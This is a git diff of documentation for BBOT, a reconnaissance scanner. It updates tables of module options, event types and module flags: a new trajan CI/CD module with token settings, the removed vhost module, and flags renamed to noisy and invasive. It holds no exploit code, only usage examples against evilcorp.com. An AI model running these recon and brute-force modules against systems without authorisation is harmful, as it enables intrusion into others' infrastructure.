modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.7.0 | +| modules.nuclei.version | str | nuclei version | 3.7.1 | | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | @@ -502,9 +501,6 @@ In addition to the stated options for each module, the following universal optio | modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | | modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | | modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | -| modules.vhost.force_basehost | str | Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL | | -| modules.vhost.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | -| modules.vhost.wordlist | str | Wordlist containing subdomains | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | | modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | | modules.wpscan.api_key | str | WPScan API Key | | | modules.wpscan.connection_timeout | int | The connection timeout in seconds (default 2) | 2 | @@ -572,7 +568,7 @@ In addition to the stated options for each module, the following universal optio | modules.passivetotal.api_key | str | PassiveTotal API Key in the format of 'username:api_key' | | | modules.pgp.search_urls | list | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| | modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | -| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,cloud' | cdn- | +| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,cloud' | cdn-,waf- | | modules.postman.api_key | str | Postman API Key | | | modules.postman_download.api_key | str | Postman API Key | | | modules.postman_download.output_folder | str | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage. | | @@ -584,6 +580,14 @@ In addition to the stated options for each module, the following universal optio | modules.subdomainradar.api_key | str | SubDomainRadar.io API key | | | modules.subdomainradar.group | str | The enumeration group to use. Choose from fast, medium, deep | fast | | modules.subdomainradar.timeout | int | Timeout in seconds | 120 | +| modules.trajan.ado_token | str | Azure DevOps Personal Access Token (PAT) | | +| modules.trajan.github_token | str | GitHub API token for rate-limiting and private repo access | | +| modules.trajan.gitlab_token | str | GitLab API token for private repo access | | +| modules.trajan.jenkins_password | str | Jenkins password for basic auth | | +| modules.trajan.jenkins_token | str | Jenkins API token | | +| modules.trajan.jenkins_username | str | Jenkins username for basic auth | | +| modules.trajan.jfrog_token | str | JFrog API token | | +| modules.trajan.version | str | Trajan version to download and use | 1.0.0 | | modules.trickest.api_key | str | Trickest API key | | | modules.trufflehog.concurrency | int | Number of concurrent workers | 8 | | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | @@ -675,6 +679,6 @@ In addition to the stated options for each module, the following universal optio | modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | | modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | | modules.speculate.essential_only | bool | Only enable essential speculate features (no extra discovery) | False | -| modules.speculate.max_hosts | int | Max number of IP_RANGE hosts to convert into IP_ADDRESS events | 65536 | +| modules.speculate.ip_range_max_hosts | int | Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events | 65536 | | modules.speculate.ports | str | The set of ports to speculate on | 80,443 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 4b89b81ccf..0569db7083 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -104,41 +104,41 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | -| ASN | 0 | 2 | | asn, shodan_enterprise | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 7 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 59 | 43 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 36 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 0 | portscan, speculate | | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 6 | 6 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | -| TECHNOLOGY | 4 | 10 | asset_inventory, gitlab_onprem, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | -| URL | 24 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, generic_ssrf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, vhost, wafw00f, web_report | gowitness, httpx | -| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | -| URL_UNVERIFIED | 8 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VHOST | 1 | 1 | web_report | vhost | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 59 | 42 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 36 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, smuggler, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 0 | portscan, speculate | | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 6 | 6 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | +| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | +| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, wafw00f, web_report | gowitness, httpx | +| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VHOST | 1 | 0 | web_report | | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | ## Findings diff --git a/docs/scanning/index.md b/docs/scanning/index.md index d7e802af0e..3d26f2dc66 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -88,54 +88,53 @@ bbot -f subdomain-enum -l Modules can be easily enabled/disabled based on their flags: - `-f` Enable these flags (e.g. `-f subdomain-enum`) -- `-rf` Require modules to have this flag (e.g. `-rf safe`) +- `-rf` Require modules to have this flag (e.g. `-rf passive`) - `-ef` Exclude these flags (e.g. `-ef slow`) - `-em` Exclude these individual modules (e.g. `-em ipneighbor`) - `-lf` List all available flags -Every module is either `safe` or `aggressive`, and either `active` or `passive`. These can be useful for filtering. For example, if you wanted to enable all the `safe` modules, but exclude active ones, you could do: +Every module is either `active` or `passive`. Some modules are additionally tagged `noisy` (generates lots of traffic) or `invasive` (intrusive or potentially destructive). These can be useful for filtering. For example, if you wanted to enable subdomain enumeration modules but exclude noisy ones, you could do: ```bash -# Enable safe modules but exclude active ones -bbot -t evilcorp.com -f safe -ef active +# Enable subdomain-enum modules but exclude noisy ones +bbot -t evilcorp.com -f subdomain-enum -ef noisy ``` This is equivalent to requiring the passive flag: ```bash -# Enable safe modules but only if they're also passive -bbot -t evilcorp.com -f safe -rf passive +# Enable subdomain-enum modules but only if they're also passive +bbot -t evilcorp.com -f subdomain-enum -rf passive ``` -A single module can have multiple flags. For example, the `securitytrails` module is `passive`, `safe`, `subdomain-enum`. Below is a full list of flags and their associated modules. +A single module can have multiple flags. For example, the `securitytrails` module is `passive`, `subdomain-enum`. Below is a full list of flags and their associated modules. ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | -| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | -| code-enum | 18 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog | -| web-basic | 16 | Basic, non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-thorough | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 11 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| deadly | 6 | Highly aggressive | ffuf, legba, lightfuzz, medusa, nuclei, vhost | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | +| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| noisy | 20 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, wafw00f, wpscan | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | +| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | +| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | httpx, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## 